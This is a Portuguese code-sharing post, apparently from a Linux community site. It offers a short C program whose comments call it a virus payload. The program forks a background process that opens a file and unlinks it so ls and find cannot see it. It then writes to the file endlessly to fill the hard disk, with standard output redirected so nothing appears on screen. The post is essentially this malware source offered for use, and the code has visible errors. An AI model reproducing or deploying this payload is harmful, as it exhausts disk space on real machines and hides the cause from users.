Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 4.747 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */ #include <stdio.h> #include <stdlib.h> acao() { int ifd; char *buf=("1","2","3","4","5","6","7","8","9","0"); long c; int desc; close(1); /* fecha a saída padrão, o vídeo */ pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saida será armazenados em desc */ ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */ unlink("./lotaHD"); /* apaga o arquivo */ while (1) { write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */ printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */ } } main() { int i; i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada. */ /* Não poderia ser uma thead, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar */ /* o processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */ if (i==0) acao(); }
Nenhum comentário foi encontrado.
DOOM clássico (quase) vanilla e um pouco melhorado
Mamãe, quero descompactar e também compactar arquivos no terminal!
Instalando Micosoft Edge no Fedora 40
junest - Mini Arch Linux dentro de sua Distro
Rescuezilla - o Clonezilla com interface gráfica e ferramentas
Latte Dock, um dock de aplicativos com várias opções de configuração para o KDE Plasma
Quais suas extensões favoritas? (6)
Porque não tenho os 450GB do meu HD ? Só está livre 15GB (3)